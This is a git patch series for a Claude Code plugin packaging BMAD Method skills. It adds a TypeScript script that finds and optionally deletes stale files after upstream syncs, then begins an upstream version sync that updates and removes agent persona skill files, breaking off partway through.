From 06472919b20ecb8847df2cfa3c7b2f05da324b06 Mon Sep 17 00:00:00 2001
From: tgorka <tomasz@gorka.org.pl>
Date: Sat, 18 Apr 2026 19:16:24 -0700
Subject: [PATCH 1/4] feat(scripts): add find-orphan-files to detect stale
 files after sync
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Complements clean-orphaned-skills.ts (which removes whole orphan skill
directories) by detecting individual files that survive inside skill
directories that still exist. For example, when upstream renames or
removes a sub-file while keeping the skill's top-level directory, the
stale file is never cleaned up because sync only copies/overwrites.

Multiple upstream sources can contribute into the same plugin skill
directory (e.g., skills/research/ receives content from both core and
GDS), so the expected file set is the union across all enabled sources,
plus SKILL.md (generated) and plugin-only data.

Run:
  bun run find-orphans                      # report all sources
  bun run find-orphans -- --source core     # filter report
  bun run find-orphans:delete               # delete orphans

Opt-in only — not wired into sync-all, mirroring clean:orphaned's
invocation pattern.
---
 package.json                 |   2 +
 scripts/find-orphan-files.ts | 210 +++++++++++++++++++++++++++++++++++
 2 files changed, 212 insertions(+)
 create mode 100644 scripts/find-orphan-files.ts

diff --git a/package.json b/package.json
index 09ad02b..866fb28 100644
--- a/package.json
+++ b/package.json
@@ -16,6 +16,8 @@
     "generate:manifest": "bun scripts/generate-agent-manifest.ts",
     "sync-all": "bun scripts/sync-all.ts",
     "clean:orphaned": "bun scripts/clean-orphaned-skills.ts",
+    "find-orphans": "bun scripts/find-orphan-files.ts",
+    "find-orphans:delete": "bun scripts/find-orphan-files.ts --delete",
     "bump-core": "bun scripts/bump-core.ts",
     "bump-module": "bun scripts/bump-module.ts",
     "update-readme": "bun scripts/update-readme-version.ts",
diff --git a/scripts/find-orphan-files.ts b/scripts/find-orphan-files.ts
new file mode 100644
index 0000000..af5cdec
--- /dev/null
+++ b/scripts/find-orphan-files.ts
@@ -0,0 +1,210 @@
+/**
+ * Detects orphan FILES inside surviving plugin skill directories.
+ *
+ * `clean-orphaned-skills.ts` removes whole skill *directories* that have no
+ * upstream owner. This script complements it by finding individual files
+ * left behind inside skill directories that still exist — for example, when
+ * upstream renames a sub-file (`workflow-x.md` → `workflow-y.md`) while
+ * keeping the skill directory, the old file is never cleaned up because
+ * sync only copies/overwrites.
+ *
+ * Multiple upstream sources can contribute files into the same plugin skill
+ * directory (e.g., `skills/research/` receives content from both core and
+ * GDS). The "expected" set is therefore the UNION across all enabled
+ * sources, plus known generated files (SKILL.md) and intentional
+ * plugin-only data.
+ *
+ * Run:
+ *   bun scripts/find-orphan-files.ts                     # report all
+ *   bun scripts/find-orphan-files.ts --source core       # filter report
+ *   bun scripts/find-orphan-files.ts --delete            # delete orphans
+ */
+
+import { exists, rm } from 'node:fs/promises';
+import { join } from 'node:path';
+import { PLUGIN, ROOT } from './lib/config.ts';
+import { listFilesRecursive } from './lib/fs-utils.ts';
+import {
+  getEnabledSources,
+  getSource,
+  shouldSkipContentFile,
+  type UpstreamSource,
+} from './lib/upstream-sources.ts';
+import { getWorkflowEntries } from './lib/workflow-iterator.ts';
+
+const DELETE = process.argv.includes('--delete');
+const SOURCE_FILTER = (() => {
+  const idx = process.argv.indexOf('--source');
+  return idx >= 0 ? process.argv[idx + 1] : undefined;
+})();
+
+/**
+ * Files/relative-paths always expected in plugin skill dirs even though
+ * they aren't part of the raw upstream copy:
+ *   - SKILL.md is generated by `generate:skills` from upstream workflow.yaml
+ *     (at the skill root, not nested).
+ */
+const ALWAYS_EXPECTED_AT_ROOT = new Set<string>(['SKILL.md']);
+
+interface ExpectedEntry {
+  /** Source ids that contribute this file — for reporting context */
+  contributors: Set<string>;
+}
+
+/** Per skill: map<relativePath, ExpectedEntry> */
+type ExpectedBySkill = Map<string, Map<string, ExpectedEntry>>;
+
+interface Orphan {
+  skill: string;
+  relativePath: string;
+  absolutePath: string;
+}
+
+async function buildExpected(
+  sources: UpstreamSource[],
+): Promise<ExpectedBySkill> {
+  const expected: ExpectedBySkill = new Map();
+
+  for (const source of sources) {
+    const upstreamRoot = join(ROOT, '.upstream', source.localPath);
+    if (!(await exists(join(upstreamRoot, '.git')))) {
+      console.log(
+        `⚠ Skipping ${source.id}: repo not cloned at ${upstreamRoot}`,
+      );
+      continue;
+    }
+
+    const entries = await getWorkflowEntries(source, upstreamRoot);
+    for (const entry of entries) {
+      let perSkill = expected.get(entry.skillName);
+      if (!perSkill) {
+        perSkill = new Map();
+        expected.set(entry.skillName, perSkill);
+      }
+
+      // Upstream files (filtered via the same rules sync applies)
+      const upstreamFiles = await listFilesRecursive(entry.upstreamDir);
+      for (const rel of upstreamFiles) {
+        const fileName = rel.split('/').at(-1) ?? rel;
+        if (shouldSkipContentFile(source, fileName)) continue;
+        const existing = perSkill.get(rel) ?? { contributors: new Set() };
+        existing.contributors.add(source.id);
+        perSkill.set(rel, existing);
+      }
+
+      // SKILL.md at skill root is generated, always expected
+      const rootSkill = perSkill.get('SKILL.md') ?? {
+        contributors: new Set(),
+      };
+      rootSkill.contributors.add('generated');
+      perSkill.set('SKILL.md', rootSkill);
+
+      // Plugin-only data scoped to this skill (intentionally preserved)
+      for (const preserved of source.pluginOnlyData ?? []) {
+        if (!preserved.startsWith(`${entry.skillName}/`)) continue;
+        const rel = preserved.slice(entry.skillName.length + 1);
+        const entry2 = perSkill.get(rel) ?? { contributors: new Set() };
+        entry2.contributors.add(`${source.id}(plugin-only)`);
+        perSkill.set(rel, entry2);
+      }
+    }
+  }
+
+  return expected;
+}
+
+/**
+ * Determine which skills are "owned" (received any contribution) by a
+ * given source — used for filtering the report.
+ */
+async function skillsOwnedBy(source: UpstreamSource): Promise<Set<string>> {
+  const owned = new Set<string>();
+  const upstreamRoot = join(ROOT, '.upstream', source.localPath);
+  if (!(await exists(join(upstreamRoot, '.git')))) return owned;
+  const entries = await getWorkflowEntries(source, upstreamRoot);
+  for (const entry of entries) owned.add(entry.skillName);
+  return owned;
+}
+
+// === Main ===
+
+console.log(
+  DELETE
+    ? 'DELETE mode — orphan files will be removed\n'
+    : 'Report mode — no files will be changed (use --delete to remove)\n',
+);
+
+// Build expected across ALL enabled sources so union is correct
+const allSources = getEnabledSources();
+const expectedBySkill = await buildExpected(allSources);
+
+// If --source filter, restrict reporting to skills contributed to by that source
+let skillFilter: Set<string> | null = null;
+if (SOURCE_FILTER) {
+  const one = getSource(SOURCE_FILTER);
+  if (!one) {
+    console.error(`Unknown --source: ${SOURCE_FILTER}`);
+    process.exit(1);
+  }
+  skillFilter = await skillsOwnedBy(one);
+}
+
+const SKILLS_DIR = join(PLUGIN, 'skills');
+const orphans: Orphan[] = [];
+
+for (const [skill, expected] of [...expectedBySkill].sort(([a], [b]) =>
+  a.localeCompare(b),
+)) {
+  if (skillFilter && !skillFilter.has(skill)) continue;
+
+  const skillDir = join(SKILLS_DIR, skill);
+  if (!(await exists(skillDir))) continue;
+
+  const pluginFiles = await listFilesRecursive(skillDir);
+  for (const rel of pluginFiles) {
+    if (expected.has(rel)) continue;
+    if (ALWAYS_EXPECTED_AT_ROOT.has(rel)) continue;
+    orphans.push({
+      skill,
+      relativePath: rel,
+      absolutePath: join(skillDir, rel),
+    });
+  }
+}
+
+if (orphans.length === 0) {
+  console.log('No orphan files found.');
+  process.exit(0);
+}
+
+// Group for report
+const bySkill = new Map<string, Orphan[]>();
+for (const o of orphans) {
+  const list = bySkill.get(o.skill) ?? [];
+  list.push(o);
+  bySkill.set(o.skill, list);
+}
+for (const [skill, list] of [...bySkill].sort(([a], [b]) =>
+  a.localeCompare(b),
+)) {
+  console.log(
+    `  ${skill} (${list.length} orphan${list.length === 1 ? '' : 's'})`,
+  );
+  for (const o of list) {
+    console.log(`    - ${o.relativePath}`);
+  }
+}
+
+console.log(`\nTotal: ${orphans.length} orphan file(s)`);
+
+if (!DELETE) {
+  console.log('Run with --delete to remove them.');
+  process.exit(0);
+}
+
+for (const o of orphans) {
+  await rm(o.absolutePath);
+  console.log(`  ✓ Removed: ${o.skill}/${o.relativePath}`);
+}
+
+console.log(`\n${orphans.length} orphan file(s) removed.`);

From e925d4a3ab3fcdb5d810b86dadcc2684a9f19714 Mon Sep 17 00:00:00 2001
From: tgorka <tomasz@gorka.org.pl>
Date: Sat, 18 Apr 2026 19:20:28 -0700
Subject: [PATCH 2/4] =?UTF-8?q?chore:=20sync=20upstream=20core=20v6.2.2=20?=
 =?UTF-8?q?=E2=86=92=20v6.3.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Upstream release: https://github.com/bmad-code-org/BMAD-METHOD/releases/tag/v6.3.0

Notable upstream changes pulled in:
- bmad-init skill eliminated; config now loads from _bmad/bmm/config.yaml
- Dev personas Barry/Quinn/Bob consolidated into Developer (Amelia) —
  corresponding skill dirs removed (bmad-agent-qa, bmad-agent-quick-flow-
  solo-dev, bmad-agent-sm)
- spec-wip.md singleton replaced by spec-{slug}.md (status field)
- Custom content installation removed in favor of marketplace-based install

Tooling fix included: clean-orphaned-skills.ts now also checks
src/core-skills/ for valid skill names. Upstream renamed
src/core/skills/ → src/core-skills/ at v6.2.x but the cleanup script
was still pointing at the old path, causing it to wrongly remove core
skills that sync had just populated (bmad-brainstorming, bmad-distillator,
etc.). Backward-compatible: older paths are still checked as fallbacks.

Plugin version bumped to 6.3.0.0 via bun run bump-core.
---
 .github/badges/upstream-version.json          |   2 +-
 .plugin-version                               |   2 +-
 .upstream-versions/core.json                  |   4 +-
 README.md                                     |   4 +-
 package.json                                  |   2 +-
 plugins/bmad/.claude-plugin/plugin.json       |   2 +-
 .../skills/bmad-advanced-elicitation/SKILL.md |   3 +-
 .../bmad/skills/bmad-agent-analyst/SKILL.md   |  11 +-
 .../bmad/skills/bmad-agent-architect/SKILL.md |  10 +-
 plugins/bmad/skills/bmad-agent-dev/SKILL.md   |  15 +-
 plugins/bmad/skills/bmad-agent-pm/SKILL.md    |  10 +-
 plugins/bmad/skills/bmad-agent-qa/SKILL.md    |  59 --
 .../bmad-agent-quick-flow-solo-dev/SKILL.md   |  51 --
 plugins/bmad/skills/bmad-agent-sm/SKILL.md    |  53 --
 .../skills/bmad-agent-tech-writer/SKILL.md    |  10 +-
 .../skills/bmad-agent-ux-designer/SKILL.md    |  10 +-
 .../steps/step-01-document-discovery.md       |   2 +-
 .../steps/step-02-prd-analysis.md             |   2 +-
 .../steps/step-03-epic-coverage-validation.md |   2 +-
 .../skills/bmad-checkpoint-preview/SKILL.md   |  29 +
 .../bmad-checkpoint-preview/generate-trail.md |  38 ++
 .../step-01-orientation.md                    | 105 ++++
 .../step-02-walkthrough.md                    |  89 +++
 .../step-03-detail-pass.md                    | 106 ++++
 .../step-04-testing.md                        |  74 +++
 .../bmad-checkpoint-preview/step-05-wrapup.md |  24 +
 .../steps/step-01-gather-context.md           |  53 +-
 .../skills/bmad-correct-course/checklist.md   |   4 +-
 .../steps/step-13-responsive-accessibility.md |   2 +-
 plugins/bmad/skills/bmad-distillator/SKILL.md |   1 -
 .../resources/distillate-format-reference.md  |  20 +-
 .../skills/bmad-edit-prd/data/prd-purpose.md  | 197 ++++++
 .../steps-e/step-e-01-discovery.md            |   2 +-
 .../steps-e/step-e-01b-legacy-conversion.md   |   2 +-
 .../bmad-edit-prd/steps-e/step-e-02-review.md |   2 +-
 .../bmad-edit-prd/steps-e/step-e-03-edit.md   |   2 +-
 .../steps-e/step-e-04-complete.md             |   4 +-
 plugins/bmad/skills/bmad-help/SKILL.md        |   6 +-
 plugins/bmad/skills/bmad-init/SKILL.md        | 100 ---
 .../bmad-init/resources/core-module.yaml      |  25 -
 .../skills/bmad-init/scripts/bmad_init.py     | 593 ------------------
 .../bmad-init/scripts/tests/test_bmad_init.py | 329 ----------
 plugins/bmad/skills/bmad-party-mode/SKILL.md  | 123 +++-
 .../steps/step-01-agent-loading.md            | 138 ----
 .../steps/step-02-discussion-orchestration.md | 187 ------
 .../steps/step-03-graceful-exit.md            | 167 -----
 plugins/bmad/skills/bmad-prfaq/SKILL.md       |  96 +++
 .../bmad-prfaq/agents/artifact-analyzer.md    |  60 ++
 .../bmad-prfaq/agents/web-researcher.md       |  49 ++
 .../bmad-prfaq/assets/prfaq-template.md       |  62 ++
 .../bmad-prfaq/references/customer-faq.md     |  55 ++
 .../bmad-prfaq/references/internal-faq.md     |  51 ++
 .../bmad-prfaq/references/press-release.md    |  60 ++
 .../skills/bmad-prfaq/references/verdict.md   |  79 +++
 .../bmad/skills/bmad-product-brief/SKILL.md   |   7 +-
 .../bmad-qa-generate-e2e-tests/checklist.md   |   2 +-
 .../bmad-quick-dev/compile-epic-context.md    |  62 ++
 .../skills/bmad-quick-dev/spec-template.md    |   2 +-
 .../step-01-clarify-and-route.md              |  39 +-
 .../skills/bmad-quick-dev/step-02-plan.md     |  28 +-
 .../bmad-quick-dev/step-03-implement.md       |   2 +
 .../skills/bmad-quick-dev/step-oneshot.md     |  20 +-
 .../sprint-status-template.yaml               |   2 +-
 scripts/clean-orphaned-skills.ts              |  22 +-
 64 files changed, 1559 insertions(+), 1815 deletions(-)
 delete mode 100644 plugins/bmad/skills/bmad-agent-qa/SKILL.md
 delete mode 100644 plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md
 delete mode 100644 plugins/bmad/skills/bmad-agent-sm/SKILL.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md
 create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md
 create mode 100644 plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md
 delete mode 100644 plugins/bmad/skills/bmad-init/SKILL.md
 delete mode 100644 plugins/bmad/skills/bmad-init/resources/core-module.yaml
 delete mode 100644 plugins/bmad/skills/bmad-init/scripts/bmad_init.py
 delete mode 100644 plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py
 delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md
 delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md
 delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/SKILL.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/references/customer-faq.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/references/internal-faq.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/references/press-release.md
 create mode 100644 plugins/bmad/skills/bmad-prfaq/references/verdict.md
 create mode 100644 plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md

diff --git a/.github/badges/upstream-version.json b/.github/badges/upstream-version.json
index f24ef04..da1ac91 100644
--- a/.github/badges/upstream-version.json
+++ b/.github/badges/upstream-version.json
@@ -1,6 +1,6 @@
 {
   "schemaVersion": 1,
   "label": "BMAD Method",
-  "message": "v6.2.2",
+  "message": "v6.3.0",
   "color": "blue"
 }
diff --git a/.plugin-version b/.plugin-version
index 2617179..65bec64 100644
--- a/.plugin-version
+++ b/.plugin-version
@@ -1 +1 @@
-v6.2.2.0
+v6.3.0.0
diff --git a/.upstream-versions/core.json b/.upstream-versions/core.json
index e312a1a..07408e8 100644
--- a/.upstream-versions/core.json
+++ b/.upstream-versions/core.json
@@ -1,4 +1,4 @@
 {
-  "version": "v6.2.2",
-  "syncedAt": "2026-03-30"
+  "version": "v6.3.0",
+  "syncedAt": "2026-04-19"
 }
diff --git a/README.md b/README.md
index 9ad72c5..2eae5a7 100644
--- a/README.md
+++ b/README.md
@@ -13,11 +13,11 @@
 <!-- upstream-badges-end -->
 
 <!-- upstream-version-start -->
-**Plugin version:** v6.2.2.0
+**Plugin version:** v6.3.0.0
 
 | Module | Version | Released | Last Checked |
 |---|---|---|---|
-| [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.2.2 | 2026-03-26 | 2026-03-30 |
+| [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.3.0 | 2026-04-10 | 2026-04-19 |
 | [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.7.3 | 2026-03-27 | 2026-03-30 |
 | [BMB](https://github.com/bmad-code-org/bmad-builder) | v1.4.0 | 2026-03-29 | 2026-03-30 |
 | [CIS](https://github.com/bmad-code-org/bmad-module-creative-intelligence-suite) | v0.1.9 | 2026-03-18 | 2026-03-30 |
diff --git a/package.json b/package.json
index 866fb28..c0a389d 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad-plugin",
-  "version": "6.2.2.0",
+  "version": "6.3.0.0",
   "type": "module",
   "scripts": {
     "prepare": "husky",
diff --git a/plugins/bmad/.claude-plugin/plugin.json b/plugins/bmad/.claude-plugin/plugin.json
index 17635f3..27519e3 100644
--- a/plugins/bmad/.claude-plugin/plugin.json
+++ b/plugins/bmad/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad",
-  "version": "6.2.2.0",
+  "version": "6.3.0.0",
   "description": "BMAD Method - Breakthrough Method for Agile AI-Driven Development",
   "author": {
     "name": "PabloLION",
diff --git a/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md b/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md
index 2a0b139..3e26eb9 100644
--- a/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md
+++ b/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md
@@ -1,7 +1,6 @@
 ---
 name: bmad-advanced-elicitation
 description: 'Push the LLM to reconsider, refine, and improve its recent output. Use when user asks for deeper critique or mentions a known deeper critique method, e.g. socratic, first principles, pre-mortem, red team.'
-agent_party: '${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv'
 ---
 
 # Advanced Elicitation
@@ -36,7 +35,7 @@ When invoked from another prompt or process:
 
 ### Step 1: Method Registry Loading
 
-**Action:** Load and read `./methods.csv` and `{agent_party}`
+**Action:** Load and read `./methods.csv` and '${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv'
 
 #### CSV Structure
 
diff --git a/plugins/bmad/skills/bmad-agent-analyst/SKILL.md b/plugins/bmad/skills/bmad-agent-analyst/SKILL.md
index 1118aea..6f7cf59 100644
--- a/plugins/bmad/skills/bmad-agent-analyst/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-analyst/SKILL.md
@@ -36,14 +36,17 @@ When you are in this persona and the user calls a skill, this persona must carry
 | DR | Industry domain deep dive, subject matter expertise and terminology | bmad-domain-research |
 | TR | Technical feasibility, architecture options and implementation approaches | bmad-technical-research |
 | CB | Create or update product briefs through guided or autonomous discovery | bmad-product-brief-preview |
+| WB | Working Backwards PRFAQ challenge — forge and stress-test product concepts | bmad-prfaq |
 | DP | Analyze an existing project to produce documentation for human and LLM consumption | bmad-document-project |
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-agent-architect/SKILL.md b/plugins/bmad/skills/bmad-agent-architect/SKILL.md
index 4fa83f7..633c7f1 100644
--- a/plugins/bmad/skills/bmad-agent-architect/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-architect/SKILL.md
@@ -36,10 +36,12 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-agent-dev/SKILL.md b/plugins/bmad/skills/bmad-agent-dev/SKILL.md
index c783c01..4100f6c 100644
--- a/plugins/bmad/skills/bmad-agent-dev/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-dev/SKILL.md
@@ -42,14 +42,21 @@ When you are in this persona and the user calls a skill, this persona must carry
 | Code | Description | Skill |
 |------|-------------|-------|
 | DS | Write the next or specified story's tests and code | bmad-dev-story |
+| QD | Unified quick flow — clarify intent, plan, implement, review, present | bmad-quick-dev |
+| QA | Generate API and E2E tests for existing features | bmad-qa-generate-e2e-tests |
 | CR | Initiate a comprehensive code review across multiple quality facets | bmad-code-review |
+| SP | Generate or update the sprint plan that sequences tasks for implementation | bmad-sprint-planning |
+| CS | Prepare a story with all required context for implementation | bmad-create-story |
+| ER | Party mode review of all work completed across an epic | bmad-retrospective |
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-agent-pm/SKILL.md b/plugins/bmad/skills/bmad-agent-pm/SKILL.md
index eb57ce0..000c70d 100644
--- a/plugins/bmad/skills/bmad-agent-pm/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-pm/SKILL.md
@@ -41,10 +41,12 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-agent-qa/SKILL.md b/plugins/bmad/skills/bmad-agent-qa/SKILL.md
deleted file mode 100644
index 0fe28a3..0000000
--- a/plugins/bmad/skills/bmad-agent-qa/SKILL.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-name: bmad-agent-qa
-description: QA engineer for test automation and coverage. Use when the user asks to talk to Quinn or requests the QA engineer.
----
-
-# Quinn
-
-## Overview
-
-This skill provides a QA Engineer who generates tests quickly for existing features using standard test framework patterns. Act as Quinn — pragmatic, ship-it-and-iterate, focused on getting coverage fast without overthinking.
-
-## Identity
-
-Pragmatic test automation engineer focused on rapid test coverage. Specializes in generating tests quickly for existing features using standard test framework patterns. Simpler, more direct approach than the advanced Test Architect module.
-
-## Communication Style
-
-Practical and straightforward. Gets tests written fast without overthinking. "Ship it and iterate" mentality. Focuses on coverage first, optimization later.
-
-## Principles
-
-- Generate API and E2E tests for implemented code.
-- Tests should pass on first run.
-
-## Critical Actions
-
-- Never skip running the generated tests to verify they pass
-- Always use standard test framework APIs (no external utilities)
-- Keep tests simple and maintainable
-- Focus on realistic user scenarios
-
-**Need more advanced testing?** For comprehensive test strategy, risk-based planning, quality gates, and enterprise features, install the Test Architect (TEA) module.
-
-You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
-
-When you are in this persona and the user calls a skill, this persona must carry through and remain active.
-
-## Capabilities
-
-| Code | Description | Skill |
-|------|-------------|-------|
-| QA | Generate API and E2E tests for existing features | bmad-qa-generate-e2e-tests |
-
-## On Activation
-
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
-
-2. **Continue with steps below:**
-   - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
-   - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session.
-
-3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above.
-
-   **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match.
-
-**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly.
diff --git a/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md b/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md
deleted file mode 100644
index ea32757..0000000
--- a/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-name: bmad-agent-quick-flow-solo-dev
-description: Elite full-stack developer for rapid spec and implementation. Use when the user asks to talk to Barry or requests the quick flow solo dev.
----
-
-# Barry
-
-## Overview
-
-This skill provides an Elite Full-Stack Developer who handles Quick Flow — from tech spec creation through implementation. Act as Barry — direct, confident, and implementation-focused. Minimum ceremony, lean artifacts, ruthless efficiency.
-
-## Identity
-
-Barry handles Quick Flow — from tech spec creation through implementation. Minimum ceremony, lean artifacts, ruthless efficiency.
-
-## Communication Style
-
-Direct, confident, and implementation-focused. Uses tech slang (e.g., refactor, patch, extract, spike) and gets straight to the point. No fluff, just results. Stays focused on the task at hand.
-
-## Principles
-
-- Planning and execution are two sides of the same coin.
-- Specs are for building, not bureaucracy. Code that ships is better than perfect code that doesn't.
-
-You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
-
-When you are in this persona and the user calls a skill, this persona must carry through and remain active.
-
-## Capabilities
-
-| Code | Description | Skill |
-|------|-------------|-------|
-| QD | Unified quick flow — clarify intent, plan, implement, review, present | bmad-quick-dev |
-| CR | Initiate a comprehensive code review across multiple quality facets | bmad-code-review |
-
-## On Activation
-
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
-
-2. **Continue with steps below:**
-   - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
-   - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session.
-
-3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above.
-
-   **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match.
-
-**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly.
diff --git a/plugins/bmad/skills/bmad-agent-sm/SKILL.md b/plugins/bmad/skills/bmad-agent-sm/SKILL.md
deleted file mode 100644
index 80798ca..0000000
--- a/plugins/bmad/skills/bmad-agent-sm/SKILL.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-name: bmad-agent-sm
-description: Scrum master for sprint planning and story preparation. Use when the user asks to talk to Bob or requests the scrum master.
----
-
-# Bob
-
-## Overview
-
-This skill provides a Technical Scrum Master who manages sprint planning, story preparation, and agile ceremonies. Act as Bob — crisp, checklist-driven, with zero tolerance for ambiguity. A servant leader who helps with any task while keeping the team focused and stories crystal clear.
-
-## Identity
-
-Certified Scrum Master with deep technical background. Expert in agile ceremonies, story preparation, and creating clear actionable user stories.
-
-## Communication Style
-
-Crisp and checklist-driven. Every word has a purpose, every requirement crystal clear. Zero tolerance for ambiguity.
-
-## Principles
-
-- I strive to be a servant leader and conduct myself accordingly, helping with any task and offering suggestions.
-- I love to talk about Agile process and theory whenever anyone wants to talk about it.
-
-You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
-
-When you are in this persona and the user calls a skill, this persona must carry through and remain active.
-
-## Capabilities
-
-| Code | Description | Skill |
-|------|-------------|-------|
-| SP | Generate or update the sprint plan that sequences tasks for the dev agent to follow | bmad-sprint-planning |
-| CS | Prepare a story with all required context for implementation by the developer agent | bmad-create-story |
-| ER | Party mode review of all work completed across an epic | bmad-retrospective |
-| CC | Determine how to proceed if major need for change is discovered mid implementation | bmad-correct-course |
-
-## On Activation
-
-1. **Load config via bmad-init skill** — Store all returned vars for use:
